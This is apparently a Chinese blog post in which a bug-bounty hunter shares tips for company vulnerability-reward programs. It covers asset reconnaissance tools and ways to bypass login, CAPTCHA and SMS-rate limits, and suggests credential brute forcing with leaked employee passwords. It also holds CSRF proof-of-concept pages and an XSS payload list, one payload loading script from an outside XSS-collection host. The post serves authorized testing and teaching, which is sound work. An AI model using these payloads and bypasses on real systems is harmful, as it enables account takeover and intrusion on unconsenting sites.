【挖挖SRC】

一个SRC混子挖SRC的半年经验分享~,基本都是文字阐述,希望能给同样在挖洞的师傅们带来一点新收获。

前期信息收集

还是那句老话,渗透测试的本质是信息收集,对于没有0day的弱鸡选手来说,挖SRC感觉更像是对企业的资产梳理,我们往往需要花很长的时间去做信息收集,收集与此公司相关的信息,包括企业的分公司,全资子公司,网站域名、手机app,微信小程序,企业专利品牌信息,企业邮箱,电话等等,对于很多万人挖的src来说,你收集到了别人没有收集过的资产,往往离挖到漏洞就不远了。

企业相关信息收集

企查查([https://www.qcc.com天眼查[(https://www.tianyancha.com/)启信宝(https://www.qixin.com/)

企查查、天眼查淘宝都有那种一天的会员。对于我们信息收集其实已经够用,个人更喜欢用企查查,因为它能一键导出域名,还可以直接查看企业关联的子公司,比较方便。

主要查询的信息:

一般大的src都有许多子公司,企查查可以在所属集团中查看该集团下子公司,并且可以导出。
查看同电话企业基本都是子公司。

查看股份穿透图,一般来说控股超过50%的子公司的漏洞SRC收录的可能性都比较大。

查看企业下的app、小程序、还有品牌的资产,直接在搜索引擎里搜索品牌可能会有意想不到的收获。(找到一些平常收集不到的资产)

PS:一般来说100%的全资子公司src漏洞是一定会收的,其他子公司资产可能需要与src审核沟通(扯皮)。

站长之家:域名Whois查询 - 站长之家

邮箱反查、注册人反查、电话反查。

推荐个项目:https://github.com/code-scan/BroD omain 兄弟域名查询。
七麦数据 -专业移动产品商业分析平台-关键词优化-ASA优化-七麦科技
七麦数据,可以查到企业下一些比较冷门的app。

信息整理

当我们通过各种手段对挖掘的企业进行信息收集后,我们大致能得到以下有用的信息

主公司及分公司、子公司下所有归属的网站域名信息;
主公司及分公司、子公司下所有的专利品牌和开发的一些独立系统。
主公司及分公司、子公司下所有的app资产和微信小程序。

之后我们需要对这些信息进行归纳和整理,比如哪些是该公司的主资产,哪些是边缘资产,哪些资产看上去比较冷门,我们是可以重点关注和进行深入挖掘的。

子域名收集和网站信息收集

子域名的话,对于我来说oneforall和xray的功能已经足够强大了,对于一些主域名来说,如果想要充分的收集子域名,最好用特大号字典进行最少三层的子域名爆破。

这块还是layer子域名挖掘机不错。

通过github收集子域名

先分享一个姿势,很多时候github上已经有热心的师傅分享了自己跑出的子域名,所以可以先到github找一找有没有现成的可以白嫖,没啥好语法,纯靠大海捞针。。

oneforAll
https://github.com/shmilylty/OneForAll

需要到配置文件里填写api接口信息
根据需求修改其他的配置,比如可以配置一些常见的端口,当做简单的端口扫描工具用。

命令

python oneforall.py --targets ./domain.txt run
python oneforall.py --targets ./domain.txt  --brute true run

我实际操作发现在挂了外网代理和没挂代理时跑出来的子域有时候差的有点大,想收集的全一点的师傅可以不挂代理和挂代理都跑一遍。然后去重一下。

xray
子域名探测需要高级版,可以自己写个十几行的代码进行批量探测,也可以直接用这个项目里的代码,

https://github.com/timwhitez/rad-xray 命令改一下能批量探测子域名,一般5到10分钟一个子域。

Goby
官网:Goby - Attack surface mapping

因为之前一直在用masscan+nmap的方式进行端口扫描,用这个项目:https://github.com/hellogoldsnakeman/masnmapscan-V1.0

前一段时间接触到goby,感觉可视化的工具用起来还是舒服,可以短时间对一些常见端口进行扫描,还能对网站进行指纹识别,报告看起来挺舒服的。

因为在实际的端口扫描过程,由于cdn或者防火墙的原因,所以没必要一上来就全端口扫描,听一位师傅分享的经验,比如当扫描到22端口开放时,说明这个ip没有cdn保护,对于这种ip我们可以提取出来,然后重点进行全端口扫描,有收获的可能性会比较大。

BBScan
猪猪侠师傅写的工具,速度很快,简单的目录扫描,主要是可以探测C段下面的很多资产,扩充攻击面。

项目地址:

https://github.com/lijiejie/BBScan

https://github.com/yhy0/BBScan (添加了springboot的泄露探测)

可以对域名、ip、C段进行探测
快速探测管理后台
进行端口探测
探测敏感信息泄露
可以自定义扫描规则

report下看报告,误报肯定会很多,但C段下很可能会有意想不到的资产。

js信息收集

主要是爬取网站的敏感js文件,js中能收集到的信息:

增加攻击面(url、域名)
敏感信息(密码、API密钥、加密方式)
代码中的潜在危险函数操作
具有已知漏洞的框架

常用的工具

速度很快的jsfinder https://github.com/Threezh1/JSFinder

xray的rad爬虫 https://github.com/chaitin/rad

能够匹配敏感信息的JSINFO-SCAN:https://github.com/p1g3/JSINFO-SCAN

捡中低危漏洞的一些技巧

刚开始挖src往往不知道从哪下手,首先我们其实可以从各个src平台提交漏洞下拉框里看一看收取的漏洞类型。

然后针对性的去学习如何挖掘,比如智联招聘src收取的漏洞类型,我们就可以针对性的学习对应的挖掘技巧。

框架注入明文密码传输表单破解漏洞IIS短文件名泄露老旧过期的HTTPS服务跨目录下载漏洞目录可浏览漏洞LFI本地文件包含漏洞RFI远程文件包含漏洞HTTP拒绝服务攻击弱口令登录CSRF跨站点请求伪造Flash点击劫持SQL注入漏洞XSS跨站脚本漏洞文件上传漏洞解析漏洞:IIS解析漏洞解析漏洞:Apache解析漏洞Cookies注入漏洞越权访问漏洞命令执行漏洞Struts2远程代码执行漏洞业务逻辑漏洞用户隐私泄露敏感信息泄漏(运维)敏感信息泄漏(研发)敏感文件泄漏(运维)(配置)敏感文件泄漏(运维)(权限)未验证的重定向和传递Flash跨域访问资源测试文件泄漏开启危险的HTTP方法HTTP参数污染Unicode编码绕过源码泄漏后台目录泄漏链接注入漏洞SSRF服务器请求伪造jsonp劫持

学习完基础的漏洞类型后,我们可以多看一些实战的漏洞报告。

比如wooyun漏洞库和hackone上的报告。

乌云漏洞库:x10sec.org
hackone报告:百度网盘-链接不存在 提取码:2klt

这里列举一些我经常挖到的垃圾洞,生而为人,挖不到大洞,我很抱歉┭┮﹏┭┮。

登录框处常见的一些漏洞

在我们通过对目标的前期信息收集之后,首当其冲的往往就是各种奇奇怪怪的登录框,一般来说,大型的企业为了减少安全问题,一般都是用统一的登录接口登录不同的旗下网站

但是一些后台系统,运维系统,或者一些边缘业务使用了独立的注册、登录体系,这个时候往往就会存在安全问题。

现在还能用的接码平台:

http://www.114sim.com/
https://yunduanxin.net/China-Phone-Number/
https://www.materialtools.com/

绕过限制导致的爆破、撞库、用户遍历漏洞
最常见的一种漏洞,尤其是一些老旧的后台系统,可能验证码抓个包就绕过去了。

下面是一些常见的绕过姿势:

验证码不刷新
验证码抓包绕过
验证码删除绕过
验证码置空绕过
修改xff头绕过:推荐个burp插件,https://github.com/TheKingOfDuck/burpFakeIP

账号后加空格绕过账号错误次数限制。

一般来说如果只是简单的验证码绕过,一般都是低危,所以一般能够绕过验证码的情况,都要尝试爆破一波账号密码。

弱口令漏洞

没有验证码或者验证码可以绕过的情况

直接上一手字典爆破,当然还是有一些小技巧

比如可以设置固定的弱密码,比如123456,然后爆破账号。
比如可以首先收集一些网站的信息针对性的制作字典,比如域名,员工邮箱,企业名称等等,推荐工具:白鹿社工字典生成:https://github.com/HongLuDianXue/BaiLu-SED-Tool
爆破的关键在于字典,常见的字典github上都有,但是普通的弱口令现在确实不太好用了,要想提高成功的机率,还是需要碰一碰强密码,分享先知的文章:

是时候更新一下密码爆破字典了 - 先知社区
https://github.com/huyuanzhi2/password_brute_dictionary

有验证码且无法绕过的情况

github直接找员工账号邮箱,密码。
源码或者js文件查找线索,邮箱,或者加密的账号密码。
特定系统或者cms,搜索引擎搜索默认管理员或者测试密码。
手动尝试常见弱口令。

注册、登录、找回密码处的短信\邮箱轰炸漏洞

这个也挺常见的,一般可以对特定用户进行轰炸的是一定会收的,横向轰炸能够消耗资源的随缘收。

常见的绕过姿势:

加空格绕过
加任意字母绕过
前面加86绕过
xff头伪造ip绕过

逻辑缺陷的导致的任意用户注册、登录、找回密码漏洞

因为这方面漏洞一旦出现基本都是高危,

所以挖掘的时候类似的思路我就不细说了,

freebuf上有任意用户密码重置的系列文章,类似漏洞思路其实相差不大:

yangyangwithgnu - FreeBuf网络安全行业门户

常见的信息泄露漏洞

敏感信息泄露的范围很广,我认为一般就是两大类,

因为配置错误或者管理不当导致的企业内部信息泄露。
因为逻辑缺陷导致的用户资料泄露(遍历)。

github导致的信息泄露

P牛知识星球里分享的github搜索关键词:https://twitter.com/obheda12/status/1316513838716551169

github子域名监控项目:https://github.com/FeeiCN/GSIL

常见的泄露内容:乌云上有一些案例,可以看一看。

员工内部邮箱、登录账号、密码。

企业的一些内部系统域名、ip泄露。

企业网站的工程代码、网站源码泄露,可以通过员工邮箱关键词查找,要注意日期,好几年的大概率不收了。

配置错误导致的信息泄露

包含的类型很多,最重要的是有一份足够强大的字典和一个好用的扫描器。

我在实际进行探测的时候,对于大批量的域名来说,更喜欢先用一份精简的小字典先进行快速扫描

比如:

备份文件的小字典
springboot泄露的小字典
网站后台的小字典

比较出名的扫描器我们常见的dirsearch、dirmap,dirbuster等等。

可视化的比如TEST404系列、御剑扫描器使用体验也不错。

注:信息泄露中比较常见的swagger-ui服务泄露,可能直接提交会忽略或者低危,别忘了进一步测试泄露的接口功能。

越权导致的信息泄露
很多时候越权来来去去都是更改一个参数的问题,更多的时候还是要细心的一个一个测业务功能,注意观察和测试操作参数和对象参数,操作参数一般是增删改查对应特定业务的敏感操作、对象参数一般是用户或者物品等。

推荐几个burp插件:

未授权检测: https://github.com/theLSA/burp-unauth-checker
敏感参数提取:https://github.com/theLSA/burp-sensitive-param-extractor
信息提取:https://github.com/theLSA/burp-info-extractor

插件的作用基本还是帮助我们快速定位敏感参数,实际测试还是需要我们一个包一个包仔细的分析程序逻辑。

常见的一些越权情况:

基于用户ID的越权
基于功能对象ID的越权
基于上传对象ID的越权
基于未授权访问的越权
基于功能地址的越权 基于接口身份的越权

其他的OWASPTop10漏洞

CSRF漏洞

CSRF漏洞在挖掘中最重要的是说明危害,比较容易扯皮,一般来说涉及用户资料、财产、权限的CSRF漏洞大概率会收,一般来说最高就是中危。捡捡垃圾洞还是可以的。

常见的漏洞点

1、修改个人资料、邮箱、密码、头像

2、发表文章

3、添加、删除评论

4、添加、修改、删除收货地址

5、添加管理员

(1) GET型

GET类型的CSRF利用非常简单,只需要一个HTTP请求,所以,一般会这样利用:

<img src=http://www.xxxxx.com/csrf?xx=11 />
  • 1

(2) POST型

POST请求中没有token参数,然后请求也没有验证referer信息。

这种是存在CSRF情况最多的一种。

这种漏洞的检测方法也很简单,网页操作某功能,抓包后,如果发现没有token等参数,然后就将referer信息设置为空,再次发包请求,如果请求成功了,就说明这里有CSRF漏洞。

poc(可以用burp自己生成的):

<html>    
<body>         
<form name="px" method="post" action="http://www.xxxxx.com/add">            
<input type="text" name="user_id" value="1111">        
</form>       
<script>document.px.submit(); </script>     
</body> 
</html>

POST请求数据为json,当服务器没有严格校验content-type类型时,POC为:

<script>  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "http://www.xxxx.com/api/setrole");  
xhr.withCredentials = true;  
xhr.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");  xhr.send('{"role":admin}');
</script>

3. Flash 型

Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的,利用方法是使用swf来发起跨站请求伪造。

利用条件:

1、目标站点下必须存在crossdomain.xml文件

2、crossdomain.xml中的配置允许其他域进行跨域请求。

<?xml version="1.0"?>

bypass小技巧

删除csrf token
置空csrf token
修改请求方法,如POST方法变GET请求
使用与token相同长度的任意字符串替换token,例如尝试更改一个字符,看看或发生什么
使用固定token
token字段改成 token[]=
任意文件上传漏洞
这个洞遇到的也比较多,一般来说是后端没有限制上传文件的类型。但是上传的脚本文件也不会解析。

也就没有办法getshell。(很多SRC对于上传到cdn云服务器的任意文件上传是忽略的)。

上传含有xss代码的html文件,造成存储型xss(如果上传到了cdn服务器之类的大概率忽略)。
上传恶意文件进行钓鱼
尝试在上传的文件名前加…/进行目录穿越。
可以结合其他漏洞比如CORS漏洞扩大危害。
文件上传的常见的绕过姿势应该也挺熟悉的了。。,实际测试的时候发现在进行申请企业、个人认证的时候,上传文件处常常有这个问题。

XSS漏洞

老熟人了,不多说了,常见的姿势大家应该都知道。

分享一个我学XSS的文章:
介紹 | 那些年我们一起学XSS

Broken5师傅的xsspayload:

<script>alert(1)</script>
<script src=https://xsspt.com/VBAhTu></script>
<a href=javascript:alert(1)>xss</a>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<img src=https://www.baidu.com/img/bd_logo1.png onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<M onmouseover=alert(1)>M
<iframe src=javascript:alert(1)></iframe>
<iframe onload=alert(1)>
<input type="submit" onfocus=alert(1)>
<input type="submit" onclick=alert(1)>
<form><input type="submit" formaction=javascript:alert(1)>

bypass姿势

在这里插入图片描述

威胁情报的提交

这块我也没有经验,给大家分享两篇文章吧。。。信息收集到了还是可以试试提交的

我是如何通过威胁情报赚到一个亿的

https://bbs.ichunqiu.com/article-921-1.html

可以试一试加一加各种羊毛群,反手撸一手羊毛群的羊毛。

对于挖掘高危、严重级别漏洞的一些思考

因为一直以来挖到高危、严重的数量寥寥无几,基本上就是一直在捡一些中低危漏洞,这段时间也看了很多牛叉的漏洞报告,想聊一聊我的思考。

1.自动化信息收集的能力

这里说的信息收集更多的是如何利用已有的工具进行快速自动化的收集和整理,既要做到速度快,还要做到全面收集不遗漏信息,很多时候这个过程本身就是在发现漏洞。

这些工作应该在我们前期信息收集的阶段就应该全面的完成,所以如何快速化的进行全面的信息收集是我们需要思考和不断实践的。

2.打漏洞组合拳的能力

SRC对于漏洞评级主要是看你漏洞可以造成的危害,所以当挖到一些低危漏洞时,可以先不急着提交,找一找有没有其他可以利用的点打漏洞组合拳。

3.绕waf的能力

这个能力挺欠缺的。挖洞的过程基本遇到waf就溜了,尤其是一些大厂的waf,绕其他waf就是直接嫖一些其他的师傅的思路。

4.细心和耐心和一些运气

心细挖天下,再加上一些运气,可能高危严重就到手了。

总结

挖SRC需要有一个好心态,国内SRC生态并不是很好,SRC感觉更多的提供了一个相对安全的测试保障,所以更需要抱着一种学习的心态去挖,将我们学习的到的知识灵活运用,发现新的问题。

不要想我今晚一定要挖到多少漏洞,要拿到多少奖金,不然可能会被忽略三连打崩心态。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/413461.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JVM 四种引用和使用场景

一、前言 在JDK 1.2之后&#xff0c;Java对引用的概念进行了扩充&#xff0c;将引用分为强引用&#xff08;Strong Reference&#xff09;、软引用&#xff08;Soft Reference&#xff09;、弱引用&#xff08;Weak Reference&#xff09;、虚引用&#xff08;Phantom Referen…

2024.1.18 网络编程 作业

思维导图 练习题 1>TCP传输使用IO多路复用select完成客户端 #include <myhead.h> #define SER_PORT 8888 #define SER_IP "192.168.125.15" #define CLI_PORT 9999 #define CLI_IP "192.168.125.15" int main(int argc, char const *argv[]) {/…

深入解析JavaScript的原生原型

&#x1f9d1;‍&#x1f393; 个人主页&#xff1a;《爱蹦跶的大A阿》 &#x1f525;当前正在更新专栏&#xff1a;《VUE》 、《JavaScript保姆级教程》、《krpano》、《krpano中文文档》 ​ ​ ✨ 前言 在JavaScript中,除了自定义对象,还存在很多由JavaScript语言本身提供…

Docker之nacos的安装和使用

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是君易--鑨&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的博客专栏《Docker之Dockerfile构建镜像》。&#x1f3af;&…

肯尼斯·里科《C和指针》第6章 指针(1)

作为补充资料来学习吧。 6.1 内存和地址 前面提到&#xff0c;我们可以把计算机的内存看作一条长街上的一排房屋。每座房子都可以容纳数据&#xff0c;并通过一个房号来标识。这个比喻颇为有用&#xff0c;但也存在局限性。计算机的内存由数以亿万计的位(bit)组成&#xff0c;…

[Android] Android架构体系(2)

文章目录 Bionic精简对系统调用的支持:不支持 System V IPC:有限的 Pthread 功能:有限支持C:不再支持本地化和/或宽字符:Bionic新增的特性系统属性硬编码写死的UID/GID内置了DNS解析硬编码写死的服务和协议 硬件抽象层Linux内核匿名共享内存(ASHMem)Binder-BinderLoggerION 内存…

【经典算法】有趣的算法之---粒子群算法梳理

every blog every motto: You can do more than you think. https://blog.csdn.net/weixin_39190382?typeblog 0. 前言 粒子群算法 粒子群算法&#xff08;Particle Swarm Optimization&#xff0c;PSO&#xff09;是一种用于解决优化问题的元启发式算法。它通过模拟鸟群或…

什么是车载信息娱乐系统和集成驾驶舱

什么是车载信息娱乐系统(IVI)? “车载信息娱乐(IVI)”通过向驾驶员和乘客提供信息和娱乐&#xff0c;为驾驶提供便利和舒适。为了理解这个概念&#xff0c;有必要知道“信息娱乐”的含义。“信息娱乐”是这个市场中使用的一个词&#xff0c;它结合了“信息”和“娱乐”两个词…

编译FFmpeg4.3.1 、x264并移植到Android

1、前言 FFmpeg 既是一款音视频编解码工具&#xff0c;同时也是一组音视频编解码开发套件。 2、准备工作 系统&#xff1a;LinuxNDK&#xff1a;android-ndk-r21b-linux-x86_64.zipFFmpeg&#xff1a;ffmpeg-snapshot.tar.bz2x264&#xff1a;x264 3、下载NDK 在linux环境中…

存内计算技术打破常规算力局限性

说明&#xff1a; 本文撰写人&#xff1a;三掌柜666 由三掌柜666原创首发&#xff1a;https://blog.csdn.net/CC1991_/article/details/135623056 文章目录 前言关于存内计算1、常规算力局限性2、存内计算诞生记3、存内计算核心 存内计算芯片研发历程及商业化1、存内计算芯片研…

Unix时间戳

时间戳&#xff0c;相信很多相关专业的人&#xff0c;计算机软件电子等等都会听过。由于最早是由Unix系统使用所以又叫Unix时间戳。 Unix 时间戳&#xff08;Unix Timestamp&#xff09;定义为从UTC&#xff08;世界协调时&#xff09;/GMT&#xff08;格林尼治时&#xff09;…

【Java】SpringBoot快速整合Redis

什么是Redis&#xff1f; 文末有源码gitee地址 【面试】浅学Redis_redis 广播-CSDN博客 Redis是一种高性能开源的基于内存的&#xff0c;采用键值对存储的非关系型数据库&#xff0c;它支持多种数据结构&#xff0c;包括字符串、哈希表、列表、集合、有序集合等。Redis的特点之…